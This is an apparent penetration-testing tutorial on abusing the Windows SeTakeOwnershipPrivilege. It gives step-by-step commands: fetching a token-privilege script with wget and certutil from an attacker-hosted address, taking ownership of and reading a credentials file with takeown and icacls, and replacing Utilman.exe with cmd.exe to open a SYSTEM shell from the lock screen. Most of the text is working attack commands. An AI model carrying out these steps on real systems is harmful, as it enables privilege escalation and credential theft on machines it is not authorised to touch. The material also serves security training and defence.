Introduction¶
SeTakeOwnershipPrivilege grants a user the ability to take ownership of any securable object such as Active Directory objects, NTFS files/folders, printers, registry keys, services, and processes, This privilege assigns WRITE_OWNER rights, allowing the user to change the owner within the object’s security descriptor.
While administrators have this privilege by default, it can also be granted to service accounts for specific tasks.
Step 1: Enabling SeTakeOwnershipPrivilege¶
-
Verify if the current user has
SeTakeOwnershipPrivilege:
whoami /priv
-
Download the EnableAllTokenPrivs.ps1 script:
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
-
Transfer the script to the target machine:
certutil -urlcache -f http://[IP-ADDRESS]:80/EnableAllTokenPrivs.ps1 EnableAllTokenPrivs.ps1
-
Import the script to enable the privilege:
Import-Module .\EnableAllTokenPrivs.ps1 -
Verify that
SeTakeOwnershipPrivilegeis enabled:
whoami /priv
Step 2: Choosing a target file¶
-
Identify a target file to take ownership of. In this example:
C:\Secrets\cred.txt:
Get-ChildItem -Path 'C:\Secrets\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
-
Check the ownership of the directory:
cmd /c dir /q 'C:\Secrets'
Step 3: Taking ownership of the file¶
-
Change ownership of the file:
takeown /f 'C:\Secrets\cred.txt'
-
Confirm the ownership change:
Get-ChildItem -Path 'C:\Secrets\cred.txt' | select name,directory,@{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
-
Grant your account full control with
icacls:
icacls 'C:\Secrets\cred.txt' /grant hackfast:F
Note: Verify access by reading the file:
cat 'C:\Secrets\cred.txt'
Exploiting with Utilman¶
-
Since
Utilman.exeruns with SYSTEM privileges, replacing it allows privilege escalation.
Check its current permissions:
icacls "C:\Windows\System32\Utilman.exe"
-
Take ownership of
utilman.exe:
takeown /f C:\Windows\System32\Utilman.exe
Note: Ownership alone doesn’t grant access. However, the owner can assign new permissions.
-
Grant full control over
utilman.exe:

-
Replace
utilman.exewithcmd.exe(backup the original first, if possible):
copy cmd.exe utilman.exe
-
Lock the screen from the Start menu:

-
Click the Ease of Access button.
Sinceutilman.exewas replaced withcmd.exe, a command prompt opens with SYSTEM privileges: